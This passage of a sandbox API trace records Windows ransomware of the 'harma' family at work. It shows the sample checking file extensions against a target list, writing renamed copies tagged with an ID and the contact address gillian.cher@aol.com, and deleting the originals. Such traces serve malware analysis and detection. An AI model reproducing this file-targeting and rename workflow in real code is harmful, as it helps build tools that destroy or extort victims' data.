lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.337] lstrlenW (lpString=".xlsx") returned 5 [0176.337] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.337] lstrlenW (lpString=".ppt") returned 4 [0176.337] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.337] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0176.337] lstrlenW (lpString=".zip") returned 4 [0176.337] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.337] lstrlenW (lpString=".rar") returned 4 [0176.337] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.337] lstrlenW (lpString=".bz2") returned 4 [0176.337] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.337] lstrlenW (lpString=".7z") returned 3 [0176.337] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.337] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned 72 [0177.188] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.189] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.190] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.191] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.191] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.192] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.192] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.193] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.193] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0177.212] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.212] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0177.214] GetLastError () returned 0x0 [0177.214] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b1fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0177.221] WriteFile (in: hFile=0x204, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0177.226] ReadFile (in: hFile=0x1d8, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.226] WriteFile (in: hFile=0x204, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0177.226] SetEndOfFile (hFile=0x204) returned 1 [0177.226] CloseHandle (hObject=0x204) returned 1 [0177.226] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.226] SetEndOfFile (hFile=0x1d8) returned 1 [0177.227] CloseHandle (hObject=0x1d8) returned 1 [0177.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0177.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0177.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.229] lstrlenW (lpString=".doc") returned 4 [0177.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0177.229] lstrlenW (lpString=".docx") returned 5 [0177.229] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0177.229] lstrlenW (lpString=".pdf") returned 4 [0177.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0177.229] lstrlenW (lpString=".xls") returned 4 [0177.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0177.229] lstrlenW (lpString=".xlsx") returned 5 [0177.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0177.229] lstrlenW (lpString=".ppt") returned 4 [0177.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0177.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.230] lstrlenW (lpString=".zip") returned 4 [0177.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0177.230] lstrlenW (lpString=".rar") returned 4 [0177.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0177.230] lstrlenW (lpString=".bz2") returned 4 [0177.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0177.230] lstrlenW (lpString=".7z") returned 3 [0177.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0177.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.230] lstrlenW (lpString=".dbf") returned 4 [0177.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0177.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.230] lstrlenW (lpString=".1cd") returned 4 [0177.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0177.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.230] lstrlenW (lpString=".jpg") returned 4 [0177.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0177.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.230] lstrlenW (lpString=".doc") returned 4 [0177.230] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0177.231] lstrlenW (lpString=".docx") returned 5 [0177.231] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0177.231] lstrlenW (lpString=".pdf") returned 4 [0177.231] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0177.231] lstrlenW (lpString=".xls") returned 4 [0177.231] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0177.231] lstrlenW (lpString=".xlsx") returned 5 [0177.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0177.231] lstrlenW (lpString=".ppt") returned 4 [0177.231] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0177.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.231] lstrlenW (lpString=".zip") returned 4 [0177.231] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0177.231] lstrlenW (lpString=".rar") returned 4 [0177.231] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0177.231] lstrlenW (lpString=".bz2") returned 4 [0177.231] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0177.231] lstrlenW (lpString=".7z") returned 3 [0177.231] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0177.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.231] lstrlenW (lpString=".dbf") returned 4 [0177.232] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0177.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.232] lstrlenW (lpString=".1cd") returned 4 [0177.232] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0177.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0177.232] lstrlenW (lpString=".jpg") returned 4 [0177.232] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0177.232] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0177.232] lstrlenW (lpString="AN00914_.WMF") returned 12 [0177.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0177.233] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=10832) returned 1 [0177.233] CloseHandle (hObject=0x1d8) returned 1 [0177.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0177.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0177.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0177.234] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.234] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 81 os_tid = 0x5bc [0174.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x55a680 [0174.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x56a688 [0174.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500718 [0174.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5323f8 [0174.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5006d0 [0174.642] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3230020 [0174.643] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5006a0 [0174.643] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5006a0, Size=0x20) returned 0x537a80 [0174.643] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5006a0 [0174.643] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5006a0, Size=0x20) returned 0x537a08 [0174.643] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.643] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.643] Wow64DisableWow64FsRedirection (in: OldValue=0x2c1ff58 | out: OldValue=0x2c1ff58*=0x0) returned 1 [0174.643] lstrlenW (lpString="kernel32.dll") returned 12 [0174.643] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.643] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.643] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.643] Sleep (dwMilliseconds=0x64) [0174.775] lstrcmpiW (lpString1=".LOG", lpString2=".harma") returned 1 [0174.775] lstrlenW (lpString="BCD.LOG") returned 7 [0174.775] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.775] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.775] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.775] lstrlenW (lpString=".doc") returned 4 [0174.775] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0174.775] lstrlenW (lpString=".docx") returned 5 [0174.775] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0174.775] lstrlenW (lpString=".pdf") returned 4 [0174.775] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0174.775] lstrlenW (lpString=".xls") returned 4 [0174.775] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0174.775] lstrlenW (lpString=".xlsx") returned 5 [0174.775] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0174.775] lstrlenW (lpString=".ppt") returned 4 [0174.775] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0174.775] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.775] lstrlenW (lpString=".zip") returned 4 [0174.775] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0174.775] lstrlenW (lpString=".rar") returned 4 [0174.776] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0174.776] lstrlenW (lpString=".bz2") returned 4 [0174.776] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0174.776] lstrlenW (lpString=".7z") returned 3 [0174.776] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0174.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.776] lstrlenW (lpString=".dbf") returned 4 [0174.776] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0174.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.776] lstrlenW (lpString=".1cd") returned 4 [0174.776] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0174.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.776] lstrlenW (lpString=".jpg") returned 4 [0174.776] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0174.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.776] lstrlenW (lpString=".doc") returned 4 [0174.776] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0174.776] lstrlenW (lpString=".docx") returned 5 [0174.776] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0174.776] lstrlenW (lpString=".pdf") returned 4 [0174.776] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0174.776] lstrlenW (lpString=".xls") returned 4 [0174.776] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0174.776] lstrlenW (lpString=".xlsx") returned 5 [0174.776] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0174.776] lstrlenW (lpString=".ppt") returned 4 [0174.776] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0174.776] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.776] lstrlenW (lpString=".zip") returned 4 [0174.776] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0174.776] lstrlenW (lpString=".rar") returned 4 [0174.777] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0174.777] lstrlenW (lpString=".bz2") returned 4 [0174.777] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0174.777] lstrlenW (lpString=".7z") returned 3 [0174.777] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0174.777] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.777] lstrlenW (lpString=".dbf") returned 4 [0174.777] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0174.777] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.777] lstrlenW (lpString=".1cd") returned 4 [0174.777] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0174.777] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0174.777] lstrlenW (lpString=".jpg") returned 4 [0174.777] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0174.777] Sleep (dwMilliseconds=0x64) [0175.061] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.061] lstrlenW (lpString="Alphabet.xml") returned 12 [0175.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.062] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c1ff1c | out: lpFileSize=0x2c1ff1c*=791686) returned 1 [0175.062] CloseHandle (hObject=0x1d4) returned 1 [0175.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0175.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.062] lstrlenW (lpString=".doc") returned 4 [0175.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.062] lstrlenW (lpString=".docx") returned 5 [0175.062] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.062] lstrlenW (lpString=".pdf") returned 4 [0175.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.062] lstrlenW (lpString=".xls") returned 4 [0175.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.062] lstrlenW (lpString=".xlsx") returned 5 [0175.062] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.062] lstrlenW (lpString=".ppt") returned 4 [0175.063] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.063] lstrlenW (lpString=".zip") returned 4 [0175.063] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.063] lstrlenW (lpString=".rar") returned 4 [0175.063] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString=".bz2") returned 4 [0175.063] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString=".7z") returned 3 [0175.063] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.063] lstrlenW (lpString=".dbf") returned 4 [0175.063] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.063] lstrlenW (lpString=".1cd") returned 4 [0175.063] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.063] lstrlenW (lpString=".jpg") returned 4 [0175.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.063] lstrlenW (lpString=".doc") returned 4 [0175.063] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString=".docx") returned 5 [0175.063] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0175.063] lstrlenW (lpString=".pdf") returned 4 [0175.063] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString=".xls") returned 4 [0175.063] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.063] lstrlenW (lpString=".xlsx") returned 5 [0175.063] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0175.063] lstrlenW (lpString=".ppt") returned 4 [0175.064] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.064] lstrlenW (lpString=".zip") returned 4 [0175.064] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.064] lstrlenW (lpString=".rar") returned 4 [0175.064] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.064] lstrlenW (lpString=".bz2") returned 4 [0175.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.064] lstrlenW (lpString=".7z") returned 3 [0175.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0175.064] lstrlenW (lpString=".dbf") returned 4 [0175.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") 